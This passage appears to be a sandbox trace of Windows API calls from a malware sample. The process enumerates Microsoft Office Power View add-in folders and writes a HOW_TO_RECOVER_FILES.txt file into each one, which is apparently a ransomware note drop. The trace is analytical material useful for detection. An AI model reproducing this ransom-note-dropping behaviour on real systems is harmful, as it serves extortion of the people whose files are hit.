FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f7f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.vi.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0227.959] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f7f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.vi.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0227.959] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0227.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0227.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0227.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0227.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0227.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\vi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0227.962] GetFileType (hFile=0x860) returned 0x1 [0227.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0227.962] GetFileType (hFile=0x860) returned 0x1 [0227.962] WriteFile (in: hFile=0x860, lpBuffer=0x3788c38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3788c38*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0227.963] CloseHandle (hObject=0x860) returned 1 [0227.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0227.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS", lpFilePart=0x0) returned 0x55 [0227.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0228.683] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.683] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0228.683] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a0a7fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a0a7fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a0a7fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0228.683] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0228.684] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6297232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6297232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6297232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0228.684] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e757, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.zh-CHS.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0228.684] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0228.684] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0228.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0228.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0228.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0228.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS", lpFilePart=0x0) returned 0x55 [0228.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b1c0 [0228.686] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.686] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0228.686] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a0a7fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a0a7fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a0a7fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0228.686] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0228.686] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6297232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6297232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6297232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0228.687] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e757, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.zh-CHS.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0228.687] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e757, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.zh-CHS.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0228.687] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0228.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0228.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0228.688] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0228.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0228.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\zh-chs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0228.690] GetFileType (hFile=0x630) returned 0x1 [0228.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0228.690] GetFileType (hFile=0x630) returned 0x1 [0228.691] WriteFile (in: hFile=0x630, lpBuffer=0x35f6d30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x35f6d30*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0228.692] CloseHandle (hObject=0x630) returned 1 [0228.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0228.692] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT", lpFilePart=0x0) returned 0x55 [0228.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0228.693] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.693] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc1040, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0228.694] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0228.694] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0228.694] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5127e7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0228.694] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164159c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16461eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.zh-CHT.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0228.694] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0228.694] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0228.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0228.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0228.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0228.695] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT", lpFilePart=0x0) returned 0x55 [0228.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0228.696] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.696] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc1040, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0228.696] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0228.696] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0228.697] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5127e7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0228.697] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164159c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16461eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.zh-CHT.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0228.697] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164159c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16461eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.zh-CHT.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0228.697] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0228.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0228.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0228.698] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 